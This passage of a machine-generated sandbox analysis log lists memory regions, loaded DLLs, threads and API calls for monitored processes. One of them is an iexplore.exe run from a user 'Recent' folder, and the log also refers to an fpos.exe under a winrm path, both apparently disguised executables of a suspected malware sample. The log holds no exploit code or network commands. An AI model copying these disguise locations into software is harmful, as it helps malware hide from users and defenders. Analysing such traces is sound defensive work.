"\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9520 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9539 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9563 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9578 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9621 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9622 start_va = 0x1b850000 end_va = 0x1bb21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9623 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9624 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9625 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9626 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9627 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 9628 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 9629 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9630 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 9631 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 9632 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 9633 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 9634 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 9635 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9710 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9711 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 9712 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 9713 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 9714 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 9715 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Thread: id = 378 os_tid = 0x590 [0262.761] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.158] EtwEventRegister (in: ProviderId=0x2595838, EnableCallback=0x1b12135c, CallbackContext=0x0, RegHandle=0x2595818 | out: RegHandle=0x2595818) returned 0x0 [0277.152] EtwEventRegister (in: ProviderId=0x2599fa8, EnableCallback=0x1b1213ac, CallbackContext=0x0, RegHandle=0x2599f88 | out: RegHandle=0x2599f88) returned 0x0 [0278.976] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x523e50*=0xd8, lpdwindex=0x2ee524 | out: lpdwindex=0x2ee524) returned 0x0 [0280.575] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x523e50*=0xd8, lpdwindex=0x2ee524) Thread: id = 450 os_tid = 0x810 Thread: id = 454 os_tid = 0x824 [0263.021] CoGetContextToken (in: pToken=0x24af760 | out: pToken=0x24af760) returned 0x800401f0 [0263.021] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 463 os_tid = 0x844 Thread: id = 484 os_tid = 0x8a0 [0278.250] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.251] CoGetContextToken (in: pToken=0x1b2cfa90 | out: pToken=0x1b2cfa90) returned 0x0 [0278.251] CObjectContext::QueryInterface () returned 0x0 [0278.251] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.251] Release () returned 0x0 [0278.251] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.252] CoUninitialize () [0288.768] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b2cdeb8 | out: phkResult=0x1b2cdeb8*=0x0) returned 0x2 [0288.769] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe", nBufferLength=0x105, lpBuffer=0x1b2ce9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe", lpFilePart=0x0) returned 0x27 Thread: id = 485 os_tid = 0x8a4 Thread: id = 512 os_tid = 0x914 Thread: id = 538 os_tid = 0x98c Thread: id = 539 os_tid = 0x990 Thread: id = 560 os_tid = 0x9e4 [0281.410] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.411] CoGetContextToken (in: pToken=0x1b84f9d0 | out: pToken=0x1b84f9d0) returned 0x0 [0281.411] CObjectContext::QueryInterface () returned 0x0 [0281.411] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.411] Release () returned 0x0 [0281.411] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.411] CoUninitialize () Process: id = "86" image_name = "iexplore.exe" filename = "c:\\users\\default\\recent\\iexplore.exe" page_root = "0x21cbc000" os_pid = "0x598" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Users\\Default\\Recent\\iexplore.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7368 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7369 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7370 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7371 start_va = 0x1180000 end_va = 0x1255fff monitored = 1 entry_point = 0x124d67e region_type = mapped_file name = "iexplore.exe" filename = "\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\iexplore.exe") Region: id = 7372 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7373 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7374 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7375 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7376 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7377 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 7378 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7379 start_va = 0x1d0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7380 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7381 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7382 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7431 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7432 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7433 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7446 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7447 start_va = 0x350000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 7448 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7449 start_va = 0x2d0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 7450 start_va = 0x460000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7701 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7702 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7703 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7704 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7705 start_va = 0x5a0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 7706 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 7707 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 7746 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7747 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7813 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7814 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7815 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7816 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7817 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7840 start_va = 0x460000 end_va = 0x488fff monitored = 0 entry_point = 0x461010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7841 start_va = 0x520000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7842 start_va = 0x710000 end_va = 0x897fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7843 start_va = 0x460000 end_va = 0x488fff monitored = 0 entry_point = 0x461010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7844 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7845 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7846 start_va = 0x8a0000 end_va = 0xa20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 7847 start_va = 0x1260000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001260000" filename = "" Region: id = 7848 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7849 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7850 start_va = 0x5a0000 end_va = 0x66ffff monitored = 1 entry_point = 0x66d67e region_type = mapped_file name = "iexplore.exe" filename = "\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\iexplore.exe") Region: id = 7851 start_va = 0x700000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 8194 start_va = 0x5a0000 end_va = 0x66ffff monitored = 1 entry_point = 0x66d67e region_type = mapped_file name = "iexplore.exe" filename = "\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\iexplore.exe") Region: id = 8195 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8239 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8254 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8255 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8256 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8257 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8273 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8279 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 8282 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 8288 start_va = 0x7fe949d0000 end_va = 0x7fe949dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949d0000" filename = "" Region: id = 8298 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8319 start_va = 0x7fe949f0000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8320 start_va = 0x7fe94a80000 end_va = 0x7fe94aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8321 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 8322 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 8328 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 8329 start_va = 0xa30000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 8330 start_va = 0xbb0000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 8331 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8368 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 8369 start_va = 0x2660000 end_va = 0x1a65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 8370 start_va = 0xcb0000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 8371 start_va = 0x1030000 end_va = 0x1130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 8380 start_va = 0x1a680000 end_va = 0x1a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a680000" filename = "" Region: id = 8381 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8396 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 8397 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8402 start_va = 0x1a920000 end_va = 0x1aa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a920000" filename = "" Region: id = 8446 start_va = 0x1aa20000 end_va = 0x1aceefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8670 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8725 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8726 start_va = 0x4a0000 end_va = 0x51cfff monitored = 0 entry_point = 0x4acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8727 start_va = 0x4a0000 end_va = 0x51cfff monitored = 0 entry_point = 0x4acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8728 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8729 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8730 start_va = 0x1acf0000 end_va = 0x1adeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 8731 start_va = 0xad0000 end_va = 0xbaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 8803 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8804 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8824 start_va = 0x7fe94af0000 end_va = 0x7fe94b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94af0000" filename = "" Region: id = 8834 start_va = 0x7fe94b70000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b70000" filename = "" Region: id = 8835 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8862 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8863 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8880 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 8995 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 8996 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 8997 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 8998 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9011 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9012 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9015 start_va = 0x1adf0000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 9018 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9040 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9041 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = 